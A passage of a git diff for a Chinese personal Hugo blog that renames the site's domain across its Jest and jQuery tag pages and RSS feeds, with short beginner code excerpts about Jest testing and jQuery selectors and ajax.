href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/tags/>Tags</a></div><h1>Jest</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>简单使用Jest-JavaScript测试工具</h2></header><div class=entry-content><p>Jest是Facebook开源的一套JavaScript测试框架
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>Jest | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/tags/jest/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/tags/jest/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Jest"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/tags/jest/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Jest"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/tags/>Tags</a></div><h1>Jest</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>简单使用Jest-JavaScript测试工具</h2></header><div class=entry-content><p>Jest是Facebook开源的一套JavaScript测试框架
 安装
 在项目中安装
 yarn add –dev jest或者npm install –save-dev jest
 全局安装
 yarn global add jest
 hello.js
-module.exports = function(){
-return "hello world"
-}
-hello.test.js
-const hello = require('../hello')
-it('should ', () => {
-expect(hello()).toBe('hello world')
-})
-package.json
-{
-"scripts": {
-"test": "jest"
-}
-}
-执行测试
+module.exports = function(){ return "hello world" } hello.test.js
+const hello = require('../hello') it('should ', () => { expect(hello()).toBe('hello world') }) package.json
+{ "scripts": { "test": "jest" } } 执行测试
 yarn test或者npm run test
 exspect() //运行结果
 toBe() //期待的结果
@@ -31,7 +19,7 @@
 toBeFalsy() //判断结果为false
 toBeGreaterThan(5) //判断结果是否大于5
 toBeLessThan(5) //判断结果是否小于5
-toBeGreaterThanOrEqual(6) //判断结果是否大于等于6...</p></div><footer class=entry-footer><span title='2021-09-06 23:00:00 +0000 UTC'>2021-09-06</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用Jest-JavaScript测试工具" href=https://xiaochenabc123.github.io/posts/95/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+toBeGreaterThanOrEqual(6) //判断结果是否大于等于6...</p></div><footer class=entry-footer><span title='2021-09-06 23:00:00 +0000 UTC'>2021-09-06</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用Jest-JavaScript测试工具" href=https://chenjunlinabc.github.io/posts/95/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git a/tags/jest/index.xml b/tags/jest/index.xml
index 18d55f05..787cbe53 100644
--- a/tags/jest/index.xml
+++ b/tags/jest/index.xml
@@ -2,22 +2,22 @@
 <rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
   <channel>
     <title>Jest on 小陈的个人博客</title>
-    <link>https://xiaochenabc123.github.io/tags/jest/</link>
+    <link>https://chenjunlinabc.github.io/tags/jest/</link>
     <description>Recent content in Jest on 小陈的个人博客</description>
     <image>
       <title>小陈的个人博客</title>
-      <url>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
-      <link>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
+      <url>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
+      <link>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
     </image>
     <generator>Hugo -- gohugo.io</generator>
     <language>zh-cn</language>
-    <lastBuildDate>Mon, 06 Sep 2021 23:00:00 +0000</lastBuildDate><atom:link href="https://xiaochenabc123.github.io/tags/jest/index.xml" rel="self" type="application/rss+xml" />
+    <lastBuildDate>Mon, 06 Sep 2021 23:00:00 +0000</lastBuildDate><atom:link href="https://chenjunlinabc.github.io/tags/jest/index.xml" rel="self" type="application/rss+xml" />
     <item>
       <title>简单使用Jest-JavaScript测试工具</title>
-      <link>https://xiaochenabc123.github.io/posts/95/</link>
+      <link>https://chenjunlinabc.github.io/posts/95/</link>
       <pubDate>Mon, 06 Sep 2021 23:00:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/95/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/95/</guid>
       <description>Jest是Facebook开源的一套JavaScript测试框架
 安装
 在项目中安装
@@ -25,9 +25,9 @@ yarn add &amp;ndash;dev jest或者npm install &amp;ndash;save-dev jest
 全局安装
 yarn global add jest
 hello.js
-module.exports = function(){
return &amp;quot;hello world&amp;quot;
}
hello.test.js
-const hello = require(&#39;../hello&#39;)
it(&#39;should &#39;, () =&amp;gt; {
expect(hello()).toBe(&#39;hello world&#39;)
})
package.json
-{
&amp;quot;scripts&amp;quot;: {
&amp;quot;test&amp;quot;: &amp;quot;jest&amp;quot;
}
}
执行测试
+module.exports = function(){ return &amp;quot;hello world&amp;quot; } hello.test.js
+const hello = require(&#39;../hello&#39;) it(&#39;should &#39;, () =&amp;gt; { expect(hello()).toBe(&#39;hello world&#39;) }) package.json
+{ &amp;quot;scripts&amp;quot;: { &amp;quot;test&amp;quot;: &amp;quot;jest&amp;quot; } } 执行测试
 yarn test或者npm run test
 exspect() //运行结果
 toBe() //期待的结果
diff --git a/tags/jest/page/1/index.html b/tags/jest/page/1/index.html
index 6c813023..15d04b69 100644
--- a/tags/jest/page/1/index.html
+++ b/tags/jest/page/1/index.html
@@ -1 +1 @@
-<!doctype html><html lang=zh-cn><head><title>https://xiaochenabc123.github.io/tags/jest/</title><link rel=canonical href=https://xiaochenabc123.github.io/tags/jest/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://xiaochenabc123.github.io/tags/jest/"></head></html>
\ No newline at end of file
+<!doctype html><html lang=zh-cn><head><title>https://chenjunlinabc.github.io/tags/jest/</title><link rel=canonical href=https://chenjunlinabc.github.io/tags/jest/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://chenjunlinabc.github.io/tags/jest/"></head></html>
\ No newline at end of file
diff --git a/tags/jquery/index.html b/tags/jquery/index.html
index f7aa6b3d..cb3a1b1b 100644
--- a/tags/jquery/index.html
+++ b/tags/jquery/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>jQuery | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/tags/jquery/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/tags/jquery/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="jQuery"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/tags/jquery/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="jQuery"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/tags/>Tags</a></div><h1>jQuery</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>jQuery基础学习笔记</h2></header><div class=entry-content><p>##第一个jQuery程序
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>jQuery | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/tags/jquery/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/tags/jquery/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="jQuery"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/tags/jquery/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="jQuery"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/tags/>Tags</a></div><h1>jQuery</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>jQuery基础学习笔记</h2></header><div class=entry-content><p>##第一个jQuery程序
 $(‘div’).html(“hello.world”);
 ##DOM对象和jQuery对象互转化
 jQuery对象和DOM对象是不一样的，但是都能操作DOM
@@ -31,19 +31,8 @@
 多项选择器
 $(“div[class=divs],a[href=“https://xiaochenabc123.test.com”)
 多项选择器就是将多个选择器用逗号组合起来
-层级选择器 $(“ul.nev li.active”)...</p></div><footer class=entry-footer><span title='2021-06-16 09:38:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to jQuery基础学习笔记" href=https://xiaochenabc123.github.io/posts/21/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>jQuery-ajax()方法笔记</h2></header><div class=entry-content><p>ajax()是jQuery中定义的一个方法，该方法用于执行ajax请求，例如：
-$(document).ready(function(){
-$("button").click(function(){
-$.ajax({
-type: "GET",
-url: "https://httpbin.org/get",
-success: function(getdata){
-console.log(getdata)
-}
-})
-})
-});
-参数
+层级选择器 $(“ul.nev li.active”)...</p></div><footer class=entry-footer><span title='2021-06-16 09:38:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to jQuery基础学习笔记" href=https://chenjunlinabc.github.io/posts/21/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>jQuery-ajax()方法笔记</h2></header><div class=entry-content><p>ajax()是jQuery中定义的一个方法，该方法用于执行ajax请求，例如：
+$(document).ready(function(){ $("button").click(function(){ $.ajax({ type: "GET", url: "https://httpbin.org/get", success: function(getdata){ console.log(getdata) } }) }) }); 参数
 url：指定发送请求的URL，默认是当前页面
 type：指定请求方式（GET或者POST）
 success：当请求成功时执行的函数
@@ -67,7 +56,7 @@
 traditional：指定是否使用传统的方式来序列化数据
 username：指定响应http访问认证请求的用户名
 password：指定响应http访问认证请求的密码
-xhr：用于重写或者增强XMLHttpRequest对象的函数</p></div><footer class=entry-footer><span title='2021-06-16 09:24:37 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to jQuery-ajax()方法笔记" href=https://xiaochenabc123.github.io/posts/13/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+xhr：用于重写或者增强XMLHttpRequest对象的函数</p></div><footer class=entry-footer><span title='2021-06-16 09:24:37 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to jQuery-ajax()方法笔记" href=https://chenjunlinabc.github.io/posts/13/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git a/tags/jquery/index.xml b/tags/jquery/index.xml
index 0b76db06..b3f8c66e 100644
--- a/tags/jquery/index.xml
+++ b/tags/jquery/index.xml
@@ -2,22 +2,22 @@
 <rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
   <channel>
     <title>jQuery on 小陈的个人博客</title>
-    <link>https://xiaochenabc123.github.io/tags/jquery/</link>
+    <link>https://chenjunlinabc.github.io/tags/jquery/</link>
     <description>Recent content in jQuery on 小陈的个人博客</description>
     <image>
       <title>小陈的个人博客</title>
-      <url>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
-      <link>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
+      <url>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
+      <link>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
     </image>
     <generator>Hugo -- gohugo.io</generator>
     <language>zh-cn</language>
-    <lastBuildDate>Wed, 16 Jun 2021 09:38:00 +0000</lastBuildDate><atom:link href="https://xiaochenabc123.github.io/tags/jquery/index.xml" rel="self" type="application/rss+xml" />
+    <lastBuildDate>Wed, 16 Jun 2021 09:38:00 +0000</lastBuildDate><atom:link href="https://chenjunlinabc.github.io/tags/jquery/index.xml" rel="self" type="application/rss+xml" />
     <item>
       <title>jQuery基础学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/21/</link>
+      <link>https://chenjunlinabc.github.io/posts/21/</link>
       <pubDate>Wed, 16 Jun 2021 09:38:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/21/</guid>
